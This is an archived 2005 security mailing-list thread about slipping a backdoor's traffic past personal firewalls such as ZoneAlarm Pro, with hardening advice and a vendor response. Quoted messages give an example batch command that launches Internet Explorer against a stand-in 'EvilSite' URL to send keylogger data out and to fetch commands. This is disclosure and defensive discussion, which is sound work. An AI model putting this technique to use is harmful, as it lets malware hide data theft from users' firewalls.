lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <434189AB.1060705@gmx.at>
Date: Mon, 03 Oct 2005 21:42:35 +0200
From: Oliver Leitner <Shadow333@....at>
To: Debasis Mohanty <mail@...kingspirits.com>
Cc: bugtraq@...urityfocus.com,
	'Zone Labs Security Team' <security@...elabs.com>,
	full-disclosure@...ts.grok.org.uk
Subject: Re: Bypassing Personal Firewall, is it that* hard?


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I think the main problem of every kind of security precaution is, that
the user has to understand what he is being told.

i had customers who just let everything in and out because they thought
that their setup would need it.


a few major tricks in really securing a sys:
never let the user have write access to c:\putyourwindowssystemdirhere

never run anything as admin user (at least since xp there is even
something like sudo under windows available, called runas, very useful
command).

further on the xp level: try to get used to the netsh command.

keep your system updated

and doesnt matter what you download, as long as you keep your users
security aware (password length and strongeness, email clicking, banner
clicking, popups, etc...)

or use an alternate os (yes, they are out there...)

you can make it easier for your user or harder for your user, depending
on your standpoint, but nothing is as good as a user that actually does
know what he/she is doing.

just my few cents.

Greetings
Oliver Leitner
Technical Staff
http://www.shells.at

Debasis Mohanty wrote:
> Just to correct my last statement in my previous reply - 
> 
>>>There is another way by which an evil-code can get this run is by moving
> 
> the batch file to system startup 
> 
>>>or pointing it in the registry to run on system boot but this will be a
> 
> warning signal for the user.  
> 
> Even ZA Pro blocks and warns the user if some program (evil or trusted) is
> trying to become a system startup program. Sorry for that mistake had tooo
> much with Paul & Zone Labs ;-)
> 
> -D
> 
> -----Original Message-----
> From: full-disclosure-bounces@...ts.grok.org.uk
> [mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of Debasis
> Mohanty
> Sent: Tuesday, October 04, 2005 12:25 AM
> To: 'Bipin Gautam'; 'Zone Labs Security Team'
> Cc: full-disclosure@...ts.grok.org.uk; bugtraq@...urityfocus.com
> Subject: RE: [Full-disclosure] Bypassing Personal Firewall, is it that*
> hard?
> 
> Bipin Gautam wrote:
> 
>>>Anyways... is Bypassing Personal Firewall & let an internal (evil)
> 
> application communicate 
> 
>>>with the external world,  the hard.  
> 
> 
> Yes Indeed !! As long as you are trying out this concept with the current
> versions of ZA Pro and few prior versions... The beauty of ZA Pro is, it
> even traps inter-process communications and windows messaging between two
> different processes and prompts for user's permission. This goes ahead of
> normal desktop based fw with more defense methods than just protecting a PC
> from network based attacks. 
> 
> 
> 
>>>Suppose; it creates a batch file run the batch file  (evil.bat) &
> 
> executes this command
> 
>>>....Internet Explorer\> iexplore.exe
> 
> www.EvilSite.com/?cmd=submit&f=___KeyLog__
> 
> To execute the batch file, the evil-program needs to trigger the execution
> of the batch file and this is easily prevented by ZA Pro.. Normally the
> evil-code will use the api shell() which is prevented. 
> 
> However, this will work if the users click on the batch file or run it via
> Start->Run but this is not the way a evil-code works. In this scenario 
> Start->ZA
> Pro clearly distinguishes between user interventions and a program
> communicating with another program. 
> 
> 
> There is another way by which an evil-code can get this run is by moving the
> batch file to system startup or pointing it in the registry to run on system
> boot but this will be a warning signal for the user. 
> 
> - D
> 
> 
> 
> -----Original Message-----
> From: full-disclosure-bounces@...ts.grok.org.uk
> [mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of Bipin Gautam
> Sent: Monday, October 03, 2005 11:57 PM
> To: Zone Labs Security Team
> Cc: full-disclosure@...ts.grok.org.uk; bugtraq@...urityfocus.com
> Subject: [Full-disclosure] Bypassing Personal Firewall, is it that* hard?
> 
> hello list,
> Lately 'Debasis Mohanty' was refreshing some old issues. Anyways... is
> Bypassing Personal Firewall & let an internal (evil) application communicate
> with the external world,  the hard. I mean... OK try this........ Lets.. me
> give you a simple concept. I'll call it 'passive communication' ( in lack of
> better world)
> 
> say... a backdoor want to communicate to its server... It can do is,.... use
> a trusted internal application to do the job. Suppose; it creates a batch
> file run the batch file  (evil.bat) & executes this command
> 
> ....Internet Explorer\> iexplore.exe
> www.EvilSite.com/?cmd=submit&f=___KeyLog__
> 
> the batch file will get executed & Internet explorer will happily send the
> DATA. This trick can be used to send OUTPUT as well as get input... without
> trigering the firewall.
> 
> To get input; the backdoor can do is... say, run similar BAT script:
> 
> ....Internet Explorer\> iexplore.exe www.EvilSite.com/?cmd=ANY_NEW_COMMANDS
> 
> well... the history of the page
> www.EvilSite.com/?cmd=ANY_NEW_COMMANDS will be there in the IE cache... Then
> the backdoor can do is... RUN a string based 'GREP' in the IE cache & see if
> there is any new job to acomplish.
> 
> just a rough theory... but ya its POSSIBLE; to let a internal backdoor have
> I/O with its server without trigering the firewall alert....
> 
> ---------------
> yap it does work... using the same trick can't the backdoor happily
> communicate with its server using the trick
> 
> On 9/30/05, Zone Labs Security Team <security@...elabs.com> wrote:
> 
>>Zone Labs response to "Bypassing Personal Firewall (Zone Alarm Pro) 
>>Using DDE-IPC"
>>
>>Overview:
>>
>>Debasis Mohanty published a notice about a potential security issue 
>>with personal firewalls to several security email lists on
>>September 28th, 2005.   Zone Labs has investigated his claims
>>and has determined that current versions of Zone Labs and Check Point 
>>end-point security products are not vulnerable.
>>
>>
>>Description:
>>
>>The proof-of-concept code published uses the Windows API function
>>ShellExecute() to launch a trusted program that is used to access the 
>>network on behalf of the untrusted program, thereby accessing the 
>>network without warning from the firewall.
>>
>>
>>Impact:
>>
>>If successfully exploited, a malicious program may be able to
>>access the network via a trusted program.   The ability to
>>access the network would be limited to the functionality of the 
>>trusted program.
>>
>>
>>Unaffected Products:
>>
>>ZoneAlarm Pro, ZoneAlarm AntiVirus, ZoneAlarm Wireless Security, and 
>>ZoneAlarm Security Suite version 6.0 or later automatically protect 
>>against this attack in the default configuration.
>>
>>ZoneAlarm Pro, ZoneAlarm AntiVirus, ZoneAlarm Wireless Security, and 
>>ZoneAlarm Security Suite version 5.5 are protected against this attack 
>>by enabling the "Advanced Program Control" feature.
>>
>>Check Point Integrity client versions 6.0 and 5.5 are protected 
>>against this attack by enabling the "Advanced Program Control" feature.
>>
>>
>>Affected Products:
>>
>>ZoneAlarm free versions lack the "Advanced Program Control"
>>feature and are therefore unable to prevent this bypass technique.
>>
>>
>>Recommended Actions:
>>
>>Subscribers should upgrade to the latest version of their ZoneAlarm 
>>product or enable the "Advanced Program Control" feature.
>>
>>
>>Related Resources:
>>
>>Zone Labs Security Services http://www.zonelabs.com/security
>>
>>
>>Contact:
>>
>>Zone Labs customers who are concerned about this vulnerability or have 
>>additional technical questions may reach our Technical Support group
>>at: http://www.zonelabs.com/support/.
>>
>>To report security issues with Zone Labs products contact 
>>security@...elabs.com. Note that any other matters sent to this email 
>>address will not receive a response.
>>
>>
>>Disclaimer:
>>
>>The information in the advisory is believed to be accurate at the time 
>>of publishing based on currently available information. Use of the 
>>information constitutes acceptance for use in an AS IS condition.
>>There are no warranties with regard to this information.
>>Neither the author nor the publisher accepts any liability for any 
>>direct, indirect, or consequential loss or damage arising from use of, 
>>or reliance on, this information. Zone Labs and Zone Labs products, 
>>are registered trademarks of Zone Labs LLC. and/or affiliated 
>>companies in the United States and other countries.
>>All other registered and unregistered trademarks represented in this 
>>document are the sole property of their respective companies/owners.
>>
>>Copyright: (c)2005 Zone Labs LLC All rights reserved. Zone Labs, 
>>TrueVector, ZoneAlarm, and Cooperative Enforcement are registered 
>>trademarks of Zone Labs LLC The Zone Labs logo, Check Point Integrity 
>>and IMsecure are trademarks of Zone Labs, LLC. Check Point Integrity 
>>protected under U.S. Patent No. 5,987,611. Reg. U.S. Pat.
>>& TM Off. Cooperative Enforcement is a service mark of Zone Labs LLC.
>>All other trademarks are the property of their respective owners.
>>Any reproduction of this alert other than as an unmodified copy of 
>>this file requires authorization from Zone Labs. Permission to 
>>electronically redistribute this alert in its unmodified form is 
>>granted. All other rights, including the use of other media, are 
>>reserved by Zone Labs LLC.
> 
> 
> --
> 
> Bipin Gautam
> 
> Zeroth law of security: The possibility of poking a system from lower
> privilege is zero unless & until there is possibility of direct, indirect or
> consequential communication between the two...
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> 
> 

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFDQYmrWvEVE8MtwbgRAki5AJwJCaDJT2PDm74oyvWZTacKq4LjfQCfRKnc
Oxs64ZWW6qrxseNkxqS/enU=
=kXn7
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ